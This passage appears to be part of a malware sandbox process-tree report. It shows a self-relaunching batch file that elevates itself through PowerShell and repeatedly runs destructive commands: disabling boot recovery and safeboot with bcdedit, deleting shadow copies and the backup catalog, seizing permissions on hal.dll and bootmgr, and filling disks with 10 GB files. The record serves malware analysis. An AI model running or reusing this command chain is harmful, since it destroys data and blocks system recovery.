    icacls "C:\Windows\System32\hal.dll" /grant administrators:F
    3⤵
    PID:6124
- - C:\Windows\system32\attrib.exe
    attrib -h -r -s C:\bootmgr
    3⤵
    - Views/modifies file attributes
    PID:5432
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew C:\payload_fill.bin 10737418240
    3⤵
    PID:5828
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew F:\payload_fill.bin 10737418240
    3⤵
    PID:4560
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:6540
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:6340
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:7312
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:6968
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:6488
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:11532
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Start-Process 'C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat' -Verb RunAs"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:568
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:11588
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:15404
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:7340
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:13056
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:13128
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:15696
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:13228
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:13240
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:5276
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:15236
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:6960
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    - Executes a command shell one-liner
    PID:10452
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:11472
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    - Executes a command shell one-liner
    PID:12172
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:4000
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:14680
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:15268
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:15276
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    - Executes a command shell one-liner
    PID:15292
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:15316
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    - Executes a command shell one-liner
    PID:15328
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:15340
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    - Executes a command shell one-liner
    PID:12840
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:12640
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:1452
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:14276
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:10576
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
  2⤵
  PID:1348
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:3784
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:548
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:296
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2696
- - C:\Windows\system32\bcdedit.exe
    bcdedit /deletevalue {current} safeboot
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2312
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3444
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    PID:5328
- - C:\Windows\system32\wbadmin.exe
    wbadmin delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:6084
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\hal.dll" /a
    3⤵
    - Modifies file permissions
    PID:5596
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\hal.dll" /grant administrators:F
    3⤵
    - Modifies file permissions
    PID:5312
- - C:\Windows\system32\attrib.exe
    attrib -h -r -s C:\bootmgr
    3⤵
    - Views/modifies file attributes
    PID:6348
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew C:\payload_fill.bin 10737418240
    3⤵
    PID:7684
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew F:\payload_fill.bin 10737418240
    3⤵
    PID:6968
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:12372
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:15424
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:7120
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
  2⤵
  - Drops file in System32 directory
  PID:2940
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:4220
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:4612
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5076
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1552
- - C:\Windows\system32\bcdedit.exe
    bcdedit /deletevalue {current} safeboot
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:304
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4532
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    PID:5412
- - C:\Windows\system32\wbadmin.exe
    wbadmin delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:6068
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\hal.dll" /a
    3⤵
    - Possible privilege escalation attempt
    PID:5840
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\hal.dll" /grant administrators:F
    3⤵
    - Modifies file permissions
    PID:5680
- - C:\Windows\system32\attrib.exe
    attrib -h -r -s C:\bootmgr
    3⤵
    - Views/modifies file attributes
    PID:6580
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew C:\payload_fill.bin 10737418240
    3⤵
    PID:8000
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew F:\payload_fill.bin 10737418240
    3⤵
    PID:7408
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:2376
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:16176
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:11060
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8068
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:11272
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:11292
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:11364
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:8036
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:11572
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:6544
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:11852
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:15628
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:9788
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    - Executes a command shell one-liner
    PID:11864
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:12044
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:15984
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:12208
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:11736
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:10504
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:12540
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:15560
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:15932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:12552
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:12564
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    - Executes a command shell one-liner
    PID:12576
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    - Executes a command shell one-liner
    PID:12824
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:13048
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:12112
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:10688
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:15752
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    - Executes a command shell one-liner
    PID:12364
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:10404
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:16200
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:14380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:14392
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    - Executes a command shell one-liner
    PID:14404
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    - Executes a command shell one-liner
    PID:14416
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:14428
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    - Executes a command shell one-liner
    PID:14440
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    - Executes a command shell one-liner
    PID:14452
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:14464
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:14476
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:14488
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:14500
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    - Executes a command shell one-liner
    PID:14512
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:14524
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
  2⤵
  - Drops file in System32 directory
  PID:4456
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:4748
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:748
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4584
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:612
- - C:\Windows\system32\bcdedit.exe
    bcdedit /deletevalue {current} safeboot
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4584
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5364
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    PID:5828
- - C:\Windows\system32\wbadmin.exe
    wbadmin delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:5412
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\hal.dll" /a
    3⤵
    - Possible privilege escalation attempt
    PID:5356
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\hal.dll" /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5676
- - C:\Windows\system32\attrib.exe
    attrib -h -r -s C:\bootmgr
    3⤵
    - Views/modifies file attributes
    PID:6488
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew C:\payload_fill.bin 10737418240
    3⤵
    PID:7908
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew F:\payload_fill.bin 10737418240
    3⤵
    PID:6492
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8016
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:12732
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:16128
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Start-Process 'C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat' -Verb RunAs"
      4⤵
      Enumerates connected drives
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:12456
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8048
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:14372
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:12236
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:7228
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:7984
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:15400
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Start-Process 'C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat' -Verb RunAs"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:11528
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:7632
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:15692
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8004
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:7828
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:15876
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:7364
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:14872
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:9780
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      PID:8672
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8152
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:15660
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:14344
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8172
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:15676
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Start-Process 'C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat' -Verb RunAs"
      4⤵
      Enumerates connected drives
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:6444
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:5668
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:14424
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:15444
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    - Executes a command shell one-liner
    PID:6448
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    - Executes a command shell one-liner
    PID:7732
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:16032
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8100
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:12000
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:1824
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:7724
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:7356
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:7384
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:1508
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:15540
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8132
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:11060
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:7920
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:15568
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:6336
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:16068
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:14428
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:6044
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:7376
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:11772
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:12196
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:7912
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:7908
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:11056
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      PID:13908
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:7476
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:5320
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:8876
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:11128
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:6704
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:1152
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:14428
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:7308
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:15408
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Start-Process 'C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat' -Verb RunAs"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:16072
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:6676
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:6984
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:10972
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:16136
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    - Executes a command shell one-liner
    PID:7436
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:15596
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:12952
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:7644
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:13416
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:14676
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:7248
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:15868
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8204
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8216
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:15864
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8228
  - - C:\Windows\system32\net.exe
      net session
      4⤵
